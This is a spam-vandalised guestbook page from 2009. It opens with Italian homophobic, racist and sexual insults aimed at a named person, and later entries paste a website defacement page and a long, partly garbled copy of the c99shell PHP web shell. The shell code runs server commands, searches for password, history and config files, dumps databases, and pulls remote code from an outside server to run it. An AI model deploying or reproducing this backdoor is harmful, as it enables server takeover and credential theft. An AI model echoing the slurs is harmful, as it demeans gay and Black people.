pellegre el maricon

Sei un fottuto finocchio!


Aggiungi il tuo link a questo sito:

<a href="http://pellegre.el.maricon.homo.com/">pellegre el maricon</a>




pellegre el maricon ... ti piace farti infilare le mani nel culo! | pellegre el maricon, questa e' la figa di tua madre! | pellegre el maricon, questa e' la figa di tua moglie! | pellegre el maricon ... ha un cazzo minuscolo! | pellegre el maricon ... ti piacciono i negroni! | pellegre el maricon ... tuo padre e' frocio! | pellegre el maricon ... a te piacciono le capre! | pellegre el maricon ... ti piacciono i SheMales


WATCH FREE PORNO MOVIES


TRY THIS PRANK




[Del Segno Guestbook]
Sun Jun 28, 2009 14:50:26
owned
owned

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN&qu ot;
"http://www.w3 .org/TR/html4/loose .dtd">
<html>
<head>
<BODY bgColor=#000000> .
<meta http-equiv="Co ntent-Type" content="text/ html; charset=iso-8859-1& quot;>
<title>Hacked By boccapuzzolente< /title>
<script>alert ("Hacked By boccapuzzolente - Italian Hackers"</script> <style type="text/css ">
<!--
.style1 {
font-size: 36px;
font-family: Arial, Helvetica, sans-serif;
color: #00FF00;
}
.style2 {font-size: 18px; font-family: Arial, Helvetica, sans-serif; color: #ffffff; }
.style3 {font-size: 36px; font-family: Arial, Helvetica, sans-serif; color: #000000; font-weight: bold; }
-->
</style>
</head>

<body>
<center><p class="style1& quot;><img src="http://ww w.baywoodracquetclu b.com/images/warnin g.jpg" width="301&quo t; height="268&qu ot;></p> </center>
<p align="center& quot; class="style1& quot;><strong >This Web Site contains bug - HaCkEd By boccapuzzolente - Italian Hackers

</strong>< /p>
<p align="center& quot; class="style3& quot;><img src="http://ww w.scuolepistoia.it/ lsssalutati/Immagin i/Formazione/Proget to%20SOU%20(Spazio% 20Orientamento%20Un iversitario).gif&qu ot; width="204&quo t; height="153&qu ot;></p> <p class="style1& quot;>&nbsp; </p>

<p class="style1& quot;>&nbsp; </p>
<p align="center& quot; class="style2& quot;><b>S ite HaCkEd By boccapuzzolente< /b></p>
<p class="style1& quot;>&nbsp; </p>
<p class="style1& quot;>&nbsp; </p>
</body>
</html>
Sat Jun 27, 2009 09:30:30
douou


ma che intenzioni ciaveva questo sotto di me?
che sfigato
Tue Jun 09, 2009 08:46:04
alfio
cus

<?php
//Starting calls
if (!function_exists(& quot;getmicrotime&q uot) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}}
error_reporting(5);
@ignore_user_abort( TRUE);
@set_magic_quotes_r untime(0);
$win = strtolower(substr(P HP_OS,0,3)) == "win";
define("startt ime",getmicrot ime());
if (get_magic_quotes_g pc()) {if (!function_exists(& quot;strips") {function strips(&$arr,$k ="" {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS"< img src='images/wink.gi f' /> {strips($arr[" $k"]);}}} else {$arr = stripslashes($arr); }}} strips($GLOBALS);}< br /> $_REQUEST = array_merge($_COOKI E,$_GET,$_POST);
foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}

$shver = "Modded by h4cK3r0n3"; //Current version
//CONFIGURATION AND SETTINGS
if (!empty($unset_surl )) {setcookie("c9 9sh_surl"; $surl = "";}
elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c99 sh_surl",$surl );}
else {$surl = $_REQUEST["c99 sh_surl"]; //Set this cookie for manual SURL
}

$surl_autofill_incl ude = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL.

if ($surl_autofill_inc lude and !$_REQUEST["c9 9sh_surl"]) {$include = "&"; foreach (explode("& ;",getenv(&quo t;QUERY_STRING" ) as $v) {$v = explode("=&quo t;,$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http:/ /","https ://","ssl ://","ftp ://","\\\ \" as $needle) {if (strpos($value,$nee dle) === 0) {$includestr .= urlencode($name).&q uot;=".urlenco de($value)."&a mp;";}}} if ($_REQUEST["su rl_autofill_include "]) {$includestr .= "surl_autofill _include=1&&quo t;;}}
if (empty($surl))
{
$surl = "?".$incl udestr; //Self url
}
$surl = htmlspecialchars($s url);

$timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited.

//Authentication
$login = ""; //login
//DON'T FORGOT ABOUT PASSWORD!!!
$pass = ""; //password
$md5_pass = ""; //md5-cryped pass. if null, md5($pass)

$host_allow = array("*"< img src='images/wink.gi f' />; //array ("{mask}1" ;,"{mask}2&quo t;,...), {mask} = IP or HOST e.g. array("192.168 .0.*","12 7.0.0.1"
$login_txt = "Area riservata"; //http-auth message.
$accessdeniedmess = "<a href=\"http:// ccteam.ru/releases/ c99shell\"> c99shell v.".$shver.&qu ot;</a>: accesso negato";

$gzipencode = TRUE; //Encode with gzip?

$updatenow = FALSE; //If TRUE, update now (this variable will be FALSE)

$c99sh_updateurl = "http://ccteam .ru/update/c99shell /"; //Update server
$c99sh_sourcesurl = "http://ccteam .ru/files/c99sh_sou rces/"; //Sources-server

$filestealth = TRUE; //if TRUE, don't change modify- and access-time

$donated_html = "<center> ;<b>-=Non lamerate=-</b> ;</center>&qu ot;;
/* If you publish free shell and you wish
add link to your site or any other information,
put here your html. */
$donated_act = array(""; //array ("act1",& quot;act2,"... ), if $act is in this array, display $donated_html.

$curdir = "./"; //start folder
//$curdir = getenv("DOCUME NT_ROOT";
$tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp)
$tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...)

$log_email = "user@host.tld "; //Default e-mail for sending logs

$sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scendi ng or "d"escend ing
$sort_save = TRUE; //If TRUE then save sorting-position using cookies.

// Registered file-types.
// array(
// "{action1}&quo t;=>array(" ext1","ex t2","ext3 ",...),
// "{action2}&quo t;=>array(" ext4","ex t5","ext6 ",...),
// ...
// )
$ftypes = array(
"html"=& gt;array("html ","htm&qu ot;,"shtml&quo t,
"txt"=&g t;array("txt&q uot;,"conf&quo t;,"bat", "sh",&quo t;js","ba k","doc&q uot;,"log" ;,"sfc",& quot;cfg",&quo t;htaccess",
"exe"=&g t;array("sh&qu ot;,"install&q uot;,"bat" ;,"cmd",
"ini"=&g t;array("ini&q uot;,"inf" ,
"code"=& gt;array("php& quot;,"phtml&q uot;,"php3&quo t;,"php4" ,"inc",&q uot;tcl"," ;h","c&qu ot;,"cpp" ,"py",&qu ot;cgi"," pl",
"img"=&g t;array("gif&q uot;,"png" ;,"jpeg", "jfif",&q uot;jpg"," ;jpe","bm p","ico&q uot;,"tif" ;,"tiff", "avi",&qu ot;mpg"," mpeg",
"sdb"=&g t;array("sdb&q uot,
"phpsess" ;=>array("s ess",
"download&quo t;=>array(" exe","com ","pif&qu ot;,"src" ,"lnk",&q uot;zip"," ;rar","gz ","tar&qu ot
);

// Registered executable file-types.
// array(
// string "command{i}&qu ot;=>array(" ;ext1","e xt2","ext 3",...),
// ...
// )
// {command}: %f% = filename
$exeftypes = array(
getenv("PHPRC "." -q %f%" => array("php&quo t;,"php3" ,"php4",
"perl %f%" => array("pl" ;,"cgi"
);

/* Highlighted files.
array(
i=>array({regexp },{type},{opentag}, {closetag},{break})
...
)
string {regexp} - regular exp.
int {type}:
0 - files and folders (as default),
1 - files only, 2 - folders only
string {opentag} - open html-tag, e.g. "<b>&quo t; (default)
string {closetag} - close html-tag, e.g. "</b>&qu ot; (default)
bool {break} - if TRUE and found match then break
*/
$regxp_highlight = array(
array(basename($_SE RVER["PHP_SELF "]),1,"&l t;font color=\"yellow \">",& quot;</font>& quot, // example
array("config. php",1) // example
);

$safemode_diskettes = array("a"< img src='images/wink.gi f' />; // This variable for disabling diskett-errors.
// array (i=>{letter} ...); string {letter} - letter of a drive
//$safemode_diskett es = range("a" ,"z";
$hexdump_lines = 8;// lines in hex preview file
$hexdump_rows = 24;// 16, 24 or 32 bytes in one line

$nixpwdperpage = 100; // Get first N lines from /etc/passwd

$bindport_pass = "c99"; // default password for binding
$bindport_port = "31373"; // default port for binding
$bc_port = "31373"; // default port for back-connect
$datapipe_localport = "8081"; // default port for datapipe

// Command-aliases
if (!$win)
{
$cmdaliases = array(
array("------- ------------------- ------------------- --------------" ;, "ls -la",
array("cerca tutto suid files", "find / -type f -perm -04000 -ls",
array("cerca suid files in current dir", "find . -type f -perm -04000 -ls",
array("cerca tutto sgid files", "find / -type f -perm -02000 -ls",
array("cerca sgid files in current dir", "find . -type f -perm -02000 -ls",
array("cerca config.inc.php files", "find / -type f -name config.inc.php" ,
array("cerca config* files", "find / -type f -name \"config*\&quo t;",
array("cerca config* files in current dir", "find . -type f -name \"config*\&quo t;",
array("cerca tutto writable folders and files", "find / -perm -2 -ls",
array("cerca tutto writable folders and files in current dir", "find . -perm -2 -ls",
array("find all service.pwd files", "find / -type f -name service.pwd",
array("find service.pwd files in current dir", "find . -type f -name service.pwd",
array("find all .htpasswd files", "find / -type f -name .htpasswd",
array("find .htpasswd files in current dir", "find . -type f -name .htpasswd",
array("find all .bash_history files", "find / -type f -name .bash_history"< img src='images/wink.gi f' />,
array("find .bash_history files in current dir", "find . -type f -name .bash_history"< img src='images/wink.gi f' />,
array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc",
array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc",
array("list file attributes on a Linux second extended file system", "lsattr -va",
array("show opened ports", "netstat -an | grep -i listen"
);
}
else
{
$cmdaliases = array(
array("------- ------------------- ------------------- --------------" ;, "dir",
array("show opened ports", "netstat -an"
);
}

$sess_cookie = "c99shvars&quo t;; // Cookie-variable name

$usefsbuff = TRUE; //Buffer-function $copy_unset = FALSE; //Remove copied files from buffer after pasting

//Quick launch
$quicklaunch = array(
array("<im g src=\"".$ surl."act=img& amp;img=home\" alt=\"Home\&qu ot; height=\"20\&q uot; width=\"20\&qu ot; border=\"0\&qu ot;>",$surl ),
array("<im g src=\"".$ surl."act=img& amp;img=back\" alt=\"Back\&qu ot; height=\"20\&q uot; width=\"20\&qu ot; border=\"0\&qu ot;>"," ;#\" onclick=\"hist ory.back(1)",
array("<im g src=\"".$ surl."act=img& amp;img=forward\&qu ot; alt=\"Forward\ " height=\"20\&q uot; width=\"20\&qu ot; border=\"0\&qu ot;>"," ;#\" onclick=\"hist ory.go(1)",
array("<im g src=\"".$ surl."act=img& amp;img=up\" alt=\"UPDIR\&q uot; height=\"20\&q uot; width=\"20\&qu ot; border=\"0\&qu ot;>",$surl ."act=ls&d =%upd&sort=%sor t",
array("<im g src=\"".$ surl."act=img& amp;img=refresh\&qu ot; alt=\"Refresh\ " height=\"20\&q uot; width=\"17\&qu ot; border=\"0\&qu ot;>"," ;",
array("<im g src=\"".$ surl."act=img& amp;img=search\&quo t; alt=\"Search\& quot; height=\"20\&q uot; width=\"20\&qu ot; border=\"0\&qu ot;>",$surl ."act=search&a mp;d=%d",
array("<im g src=\"".$ surl."act=img& amp;img=buffer\&quo t; alt=\"Buffer\& quot; height=\"20\&q uot; width=\"20\&qu ot; border=\"0\&qu ot;>",$surl ."act=fsbuff&a mp;d=%d",
array("<br ></br>&quo t,
array("<b& gt;Codifica</b&g t;",$surl.&quo t;act=encoder&d =%d",
array("<b& gt;Strumenti</b& gt;",$surl.&qu ot;act=tools&d= %d",
array("<b& gt;Processi</b&g t;",$surl.&quo t;act=processes& ;d=%d",
array("<b& gt;FTP brute</b>&quo t;,$surl."act= ftpquickbrute&d =%d",
array("<b& gt;Informazioni server</b>&qu ot;,$surl."act =security&d=%d& quot,
array("<b& gt;SQL</b>&qu ot;,$surl."act =sql&d=%d"< img src='images/wink.gi f' />,
array("<b& gt;PHP-code</b&g t;",$surl.&quo t;act=eval&d=%d ",
array("<b& gt;Ricarica</b&g t;",$surl.&quo t;act=update&d= %d",
array("<b& gt;Commento</b&g t;",$surl.&quo t;act=feedback& d=%d",
array("<b& gt;Rimuovi Self</b>" ;,$surl."act=s elfremove",
array("<b& gt;Disconnetti</ b>","# \" onclick=\"if (confirm('Sei sicuro?')) window.close()"
);

//Highlight-code colors
$highlight_backgrou nd = "#c0c0c0" ;
$highlight_bg = "#FFFFFF" ;
$highlight_comment = "#6A6A6A" ;
$highlight_default = "#0000BB" ;
$highlight_html = "#1300FF" ;
$highlight_keyword = "#1300FF" ;
$highlight_string = "#000000" ;

@$f = $_REQUEST["f&q uot;];
@extract($_REQUEST[ "c99shcook&quo t;]);

//END CONFIGURATION


// \/Next code isn't for editing\/
@set_time_limit(0);
$tmp = array();
foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\ \*",".*&q uot;,preg_quote($v) );}
$s = "!^(".imp lode("|", $tmp)."$!i";
if (!preg_match($s,get env("REMOTE_AD DR") and !preg_match($s,geth ostbyaddr(getenv(&q uot;REMOTE_ADDR&quo t))) {exit("<a href=\"http:// ccteam.ru/releases/ cc99shell\"> ;c99shell</a> : Accesso negato - il tuo host (".getenv(&quo t;REMOTE_ADDR"< img src='images/wink.gi f' />." non ha i permessi";}
if (!empty($login))
{
if (empty($md5_pass)) {$md5_pass = md5($pass);}
if (($_SERVER["PH P_AUTH_USER"] != $login) or (md5($_SERVER[" ;PHP_AUTH_PW"] ) != $md5_pass))
{
if (empty($login_txt)) {$login_txt = strip_tags(ereg_rep lace("&nbs p;|<br>" ," ",$donated_htm l));}
header("WWW-Au thenticate: Basic realm=\"c99she ll ".$shver." ;: ".$login_txt.& quot;\"";
header("HTTP/1 .0 401 Unauthorized";
exit($accessdeniedm ess);
}
}
if ($act != "img"
{
$lastdir = realpath(".&qu ot;
chdir($curdir);
if ($selfwrite or $updatenow) {@ob_clean(); c99sh_getupdate($se lfwrite,1); exit;}
$sess_data = unserialize($_COOKI E["$sess_cooki e"]);
if (!is_array($sess_da ta)) {$sess_data = array();}
if (!is_array($sess_da ta["copy" ])) {$sess_data["c opy"] = array();}
if (!is_array($sess_da ta["cut"] )) {$sess_data["c ut"] = array();}

$disablefunc = @ini_get("disa ble_functions"< img src='images/wink.gi f' />;
if (!empty($disablefun c))
{
$disablefunc = str_replace(" ","" ,$disablefunc);
$disablefunc = explode(",&quo t;,$disablefunc); }

if (!function_exists(& quot;c99_buff_prepa re")
{
function c99_buff_prepare()< br /> {
global $sess_data;
global $act;
foreach($sess_data ["copy"] as $k=>$v) {$sess_data["c opy"][$k] = str_replace("\ \",DIRECTORY_S EPARATOR,realpath($ v));}
foreach($sess_data ["cut"] as $k=>$v) {$sess_data["c ut"][$k] = str_replace("\ \",DIRECTORY_S EPARATOR,realpath($ v));}
$sess_data["c opy"] = array_unique($sess_ data["copy&quo t;]);
$sess_data["c ut"] = array_unique($sess_ data["cut" ;]);
sort($sess_data[&q uot;copy"]); sort($sess_data[&q uot;cut"]);
if ($act != "copy" {foreach($sess_data ["cut"] as $k=>$v) {if ($sess_data["c opy"][$k] == $v) {unset($sess_data[& quot;copy"][$k ]); }}}
else {foreach($sess_data ["copy"] as $k=>$v) {if ($sess_data["c ut"][$k] == $v) {unset($sess_data[& quot;cut"][$k] );}}}
}
}
c99_buff_prepare();
if (!function_exists(& quot;c99_sess_put&q uot)
{
function c99_sess_put($data)
{
global $sess_cookie;
global $sess_data;
c99_buff_prepare() ;
$sess_data = $data;
$data = serialize($data); setcookie($sess_co okie,$data);
}
}
foreach (array("sort&q uot;,"sql_sort " as $v)
{
if (!empty($_GET[$v])) {$$v = $_GET[$v];}
if (!empty($_POST[$v]) ) {$$v = $_POST[$v];}
}
if ($sort_save)
{
if (!empty($sort)) {setcookie("so rt",$sort);} if (!empty($sql_sort)) {setcookie("sq l_sort",$sql_s ort);}
}
if (!function_exists(& quot;str2mini"< img src='images/wink.gi f' />)
{
function str2mini($content,$ len)
{
if (strlen($content) > $len)
{
$len = ceil($len/2) - 2;
return substr($content, 0,$len)."...&q uot;.substr($conten t,-$len);
}
else {return $content;}
}
}
if (!function_exists(& quot;view_size" )
{
function view_size($size)
{
if (!is_numeric($size) ) {return FALSE;}
else
{
if ($size >= 1073741824) {$size = round($size/1073741 824*100)/100 ." GB";}
elseif ($size >= 1048576) {$size = round($size/1048576 *100)/100 ." MB";}
elseif ($size >= 1024) {$size = round($size/1024*10 0)/100 ." KB";}
else {$size = $size . " B";}
return $size;
}
}
}
if (!function_exists(& quot;fs_copy_dir&qu ot)
{
function fs_copy_dir($d,$t)< br /> {
$d = str_replace("\ \",DIRECTORY_S EPARATOR,$d);
if (substr($d,-1) != DIRECTORY_SEPARATOR ) {$d .= DIRECTORY_SEPARATOR ;}
$h = opendir($d);
while (($o = readdir($h)) !== FALSE)
{
if (($o != "." and ($o != "..")
{
if (!is_dir($d.DIRECTO RY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_S EPARATOR.$o,$t.DIRE CTORY_SEPARATOR.$o) ;}
else {$ret = mkdir($t.DIRECTORY_ SEPARATOR.$o); fs_copy_dir($d.DIRE CTORY_SEPARATOR.$o, $t.DIRECTORY_SEPARA TOR.$o);}
if (!$ret) {return $ret;}
}
}
closedir($h);
return TRUE;
}
}
if (!function_exists(& quot;fs_copy_obj&qu ot)
{
function fs_copy_obj($d,$t)< br /> {
$d = str_replace("\ \",DIRECTORY_S EPARATOR,$d);
$t = str_replace("\ \",DIRECTORY_S EPARATOR,$t);
if (!is_dir(dirname($t ))) {mkdir(dirname($t)) ;}
if (is_dir($d))
{
if (substr($d,-1) != DIRECTORY_SEPARATOR ) {$d .= DIRECTORY_SEPARATOR ;}
if (substr($t,-1) != DIRECTORY_SEPARATOR ) {$t .= DIRECTORY_SEPARATOR ;}
return fs_copy_dir($d,$t);
}
elseif (is_file($d)) {return copy($d,$t);}
else {return FALSE;}
}
}
if (!function_exists(& quot;fs_move_dir&qu ot)
{
function fs_move_dir($d,$t)< br /> {
$h = opendir($d);
if (!is_dir($t)) {mkdir($t);}
while (($o = readdir($h)) !== FALSE)
{
if (($o != "." and ($o != "..")
{
$ret = TRUE;
if (!is_dir($d.DIRECTO RY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_S EPARATOR.$o,$t.DIRE CTORY_SEPARATOR.$o) ;}
else {if (mkdir($t.DIRECTORY _SEPARATOR.$o) and fs_copy_dir($d.DIRE CTORY_SEPARATOR.$o, $t.DIRECTORY_SEPARA TOR.$o)) {$ret = FALSE;}}
if (!$ret) {return $ret;}
}
}
closedir($h);
return TRUE;
}
}
if (!function_exists(& quot;fs_move_obj&qu ot)
{
function fs_move_obj($d,$t)< br /> {
$d = str_replace("\ \",DIRECTORY_S EPARATOR,$d);
$t = str_replace("\ \",DIRECTORY_S EPARATOR,$t);
if (is_dir($d))
{
if (substr($d,-1) != DIRECTORY_SEPARATOR ) {$d .= DIRECTORY_SEPARATOR ;}
if (substr($t,-1) != DIRECTORY_SEPARATOR ) {$t .= DIRECTORY_SEPARATOR ;}
return fs_move_dir($d,$t);
}
elseif (is_file($d))
{
if(copy($d,$t)) {return unlink($d);}
else {unlink($t); return FALSE;}
}
else {return FALSE;}
}
}
if (!function_exists(& quot;fs_rmdir"< img src='images/wink.gi f' />)
{
function fs_rmdir($d)
{
$h = opendir($d);
while (($o = readdir($h)) !== FALSE)
{
if (($o != "." and ($o != "..")
{
if (!is_dir($d.$o)) {unlink($d.$o);}
else {fs_rmdir($d.$o.DIR ECTORY_SEPARATOR); rmdir($d.$o);}
}
}
closedir($h);
rmdir($d);
return !is_dir($d);
}
}
if (!function_exists(& quot;fs_rmobj"< img src='images/wink.gi f' />)
{
function fs_rmobj($o)
{
$o = str_replace("\ \",DIRECTORY_S EPARATOR,$o);
if (is_dir($o))
{
if (substr($o,-1) != DIRECTORY_SEPARATOR ) {$o .= DIRECTORY_SEPARATOR ;}
return fs_rmdir($o);
}
elseif (is_file($o)) {return unlink($o);}
else {return FALSE;}
}
}
if (!function_exists(& quot;myshellexec&qu ot)
{
function myshellexec($cmd) {
global $disablefunc;
$result = "";
if (!empty($cmd))
{
if (is_callable(" exec" and !in_array("exe c",$disablefun c)) {exec($cmd,$result) ; $result = join("\n" ,$result);}
elseif (($result = `$cmd`) !== FALSE) {}
elseif (is_callable(" system" and !in_array("sys tem",$disablef unc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
elseif (is_callable(" passthru" and !in_array("pas sthru",$disabl efunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
elseif (is_resource($fp = popen($cmd,"r& quot))
{
$result = "";
while(!feof($fp)) {$result .= fread($fp,1024);} pclose($fp);
}
}
return $result;
}
}
if (!function_exists(& quot;tabsort") {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}}
if (!function_exists(& quot;view_perms&quo t)
{
function view_perms($mode) {
if (($mode & 0xC000) === 0xC000) {$type = "s";}
elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
else {$type = "?";}

$owner["read& quot;] = ($mode & 00400)?"r" ;:"-";
$owner["write "] = ($mode & 00200)?"w" ;:"-";
$owner["execu te"] = ($mode & 00100)?"x" ;:"-";
$group["read& quot;] = ($mode & 00040)?"r" ;:"-";
$group["write "] = ($mode & 00020)?"w" ;:"-";
$group["execu te"] = ($mode & 00010)?"x" ;:"-";
$world["read& quot;] = ($mode & 00004)?"r" ;:"-";
$world["write "] = ($mode & 00002)? "w":" ;-";
$world["execu te"] = ($mode & 00001)?"x" ;:"-";

if ($mode & 0x800) {$owner["execu te"] = ($owner["execu te"] == "x"?"s":&q uot;S";}
if ($mode & 0x400) {$group["execu te"] = ($group["execu te"] == "x"?"s":&q uot;S";}
if ($mode & 0x200) {$world["execu te"] = ($world["execu te"] == "x"?"t":&q uot;T";}

return $type.join("&q uot;,$owner).join(& quot;",$group) .join("", $world);
}
}
if (!function_exists(& quot;posix_getpwuid " and !in_array("pos ix_getpwuid",$ disablefunc)) {function posix_getpwuid($uid ) {return FALSE;}}
if (!function_exists(& quot;posix_getgrgid " and !in_array("pos ix_getgrgid",$ disablefunc)) {function posix_getgrgid($gid ) {return FALSE;}}
if (!function_exists(& quot;posix_kill&quo t and !in_array("pos ix_kill",$disa blefunc)) {function posix_kill($gid) {return FALSE;}}
if (!function_exists(& quot;parse_perms&qu ot)
{
function parse_perms($mode)< br /> {
if (($mode & 0xC000) === 0xC000) {$t = "s";}
elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
else {$t = "?";}
$o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
$g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
$w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
return array("t" =>$t,"o&quo t;=>$o,"g&q uot;=>$g,"w "=>$w);
}
}
if (!function_exists(& quot;parsesort" )
{
function parsesort($sort)
{
$one = intval($sort);
$second = substr($sort,-1); if ($second != "d" {$second = "a";}
return array($one,$second) ;
}
}
if (!function_exists(& quot;view_perms_col or")
{
function view_perms_color($o )
{
if (!is_readable($o)) {return "<font color=red>" .view_perms(fileper ms($o))."</ font>";}
elseif (!is_writable($o)) {return "<font color=white>&quo t;.view_perms(filep erms($o))."< ;/font>";}< br /> else {return "<font color=blue>" ;.view_perms(filepe rms($o))."< /font>";} }
}
if (!function_exists(& quot;c99getsource&q uot)
{
function c99getsource($fn) {
global $c99sh_sourcesurl;< br /> $array = array(
"c99sh_bindpor t.pl" => "c99sh_bindpor t_pl.txt",
"c99sh_bindpor t.c" => "c99sh_bindpor t_c.txt",
"c99sh_backcon n.pl" => "c99sh_backcon n_pl.txt",
"c99sh_backcon n.c" => "c99sh_backcon n_c.txt",
"c99sh_datapip e.pl" => "c99sh_datapip e_pl.txt",
"c99sh_datapip e.c" => "c99sh_datapip e_c.txt",
);
$name = $array[$fn];
if ($name) {return file_get_contents($ c99sh_sourcesurl.$n ame);}
else {return FALSE;}
}
}
if (!function_exists(& quot;c99sh_getupdat e")
{
function c99sh_getupdate($up date = TRUE)
{
$url = $GLOBALS["c99s h_updateurl"]. "?version=&quo t;.urlencode(base64 _encode($GLOBALS[&q uot;shver"])). "&updateno w=".($updateno w?"1":&qu ot;0"."&" ;;
$data = @file_get_contents( $url);
if (!$data) {return "Non e' possibile connettersi per aggiornare il server!";}
else
{
$data = ltrim($data);
$string = substr($data,3,ord( $data{2}));
if ($data{0} == "\x99" and $data{1} == "\x01" {return "Errore: ".$string; return FALSE;}
if ($data{0} == "\x99" and $data{1} == "\x02" {return "Stai usando ultima versione!";} if ($data{0} == "\x99" and $data{1} == "\x03"
{
$string = explode("\x01& quot;,$string);
if ($update)
{
$confvars = array();
$sourceurl = $string[0];
$source = file_get_contents($ sourceurl);
if (!$source) {return "Non si può recuperare aggiornamento!" ;;}
else
{
$fp = fopen(__FILE__,&quo t;w";
if (!$fp) {return "Errore locale: non puoi aggiornarla ".__FILE__.&qu ot;! Puoi scaricare c99shell.php manualmente <a href=\"". $sourceurl."\& quot;><u>q ui</u></a& gt;.";}
else {fwrite($fp,$source ); fclose($fp); return "Grazie! Aggiornato con successo.";} }
}
else {return "La nuova versione e' utilizzabile: ".$string[1];}
}
elseif ($data{0} == "\x99" and $data{1} == "\x04" {eval($string); return 1;}
else {return "Errore nel protocollo: segmentazione fallita! (".$data." ";}
}
}
}
if (!function_exists(& quot;mysql_dump&quo t)
{
function mysql_dump($set)
{
global $shver;
$sock = $set["sock&quo t;];
$db = $set["db" ];
$print = $set["print&qu ot;];
$nl2br = $set["nl2br&qu ot;];
$file = $set["file&quo t;];
$add_drop = $set["add_drop "];
$tabs = $set["tabs&quo t;];
$onlytabs = $set["onlytabs "];
$ret = array();
$ret["err&quo t;] = array();
if (!is_resource($sock )) {echo("Errore: \$sock is not valid resource.";}
if (empty($db)) {$db = "db";}
if (empty($print)) {$print = 0;}
if (empty($nl2br)) {$nl2br = 0;}
if (empty($add_drop)) {$add_drop = TRUE;}
if (empty($file))
{
$file = $tmpdir."dump_ ".getenv(" ;SERVER_NAME"."_".$d b."_".dat e("d-m-Y-H-i-s ".".sql" ;
}
if (!is_array($tabs)) {$tabs = array();}
if (empty($add_drop)) {$add_drop = TRUE;}
if (sizeof($tabs) == 0)
{
// retrive tables-list
$res = mysql_query("S HOW TABLES FROM ".$db, $sock);
if (mysql_num_rows($re s) > 0) {while ($row = mysql_fetch_row($re s)) {$tabs[] = $row[0];}}
}
$out = "# Dumped by C99Shell.SQL v. ".$shver." ;
# Pagina iniziale: http://ccteam.ru
#
# Impostazioni hosts:
# Versione MySQL: (".mysql_get_s erver_info()."< img src='images/wink.gi f' /> running on ".getenv(" ;SERVER_ADDR"." (".getenv(&quo t;SERVER_NAME"< img src='images/wink.gi f' />.""."
# Data: ".date("d .m.Y H:i:s"."
# DB: \"".$db.& quot;\"
#------------------ ------------------- ------------------- -
";
$c = count($onlytabs); foreach($tabs as $tab)
{
if ((in_array($tab,$on lytabs)) or (!$c))
{
if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab." `;\n";}
// recieve query for create table structure
$res = mysql_query("S HOW CREATE TABLE `".$tab." `", $sock);
if (!$res) {$ret["err&quo t;][] = mysql_smarterror(); }
else
{
$row = mysql_fetch_row($re s);
$out .= $row["1"] .";\n\n";
// recieve table variables
$res = mysql_query("S ELECT * FROM `$tab`", $sock);
if (mysql_num_rows($re s) > 0)
{
while ($row = mysql_fetch_assoc($ res))
{
$keys = implode("`, `", array_keys($row));< br /> $values = array_values($row);
foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
$values = implode("', '", $values);
$sql = "INSERT INTO `$tab`(`".$key s."`) VALUES ('".$values.&q uot;');\n";
$out .= $sql;
}
}
}
}
}
$out .= "#------------ ------------------- ------------------- ------------------- ------------\n\n&qu ot;;
if ($file)
{
$fp = fopen($file, "w";
if (!$fp) {$ret["err&quo t;][] = 2;}
else
{
fwrite ($fp, $out);
fclose ($fp);
}
}
if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
return $out;
}
}
if (!function_exists(& quot;mysql_buildwhe re")
{
function mysql_buildwhere($a rray,$sep=" and",$functs=a rray())
{
if (!is_array($array)) {$array = array();}
$result = "";
foreach($array as $k=>$v)
{
$value = "";
if (!empty($functs[$k] )) {$value .= $functs[$k]."( ";}
$value .= "'".addsl ashes($v)."'&q uot;;
if (!empty($functs[$k] )) {$value .= "";}
$result .= "`".$k.&q uot;` = ".$value.$sep;
}
$result = substr($result,0,st rlen($result)-strle n($sep));
return $result;
}
}
if (!function_exists(& quot;mysql_fetch_al l")
{
function mysql_fetch_all($qu ery,$sock)
{
if ($sock) {$result = mysql_query($query, $sock);}
else {$result = mysql_query($query) ;}
$array = array();
while ($row = mysql_fetch_array($ result)) {$array[] = $row;}
mysql_free_result( $result);
return $array;
}
}
if (!function_exists(& quot;mysql_smarterr or")
{
function mysql_smarterror($t ype,$sock)
{
if ($sock) {$error = mysql_error($sock); }
else {$error = mysql_error();}
$error = htmlspecialchars($e rror);
return $error;
}
}
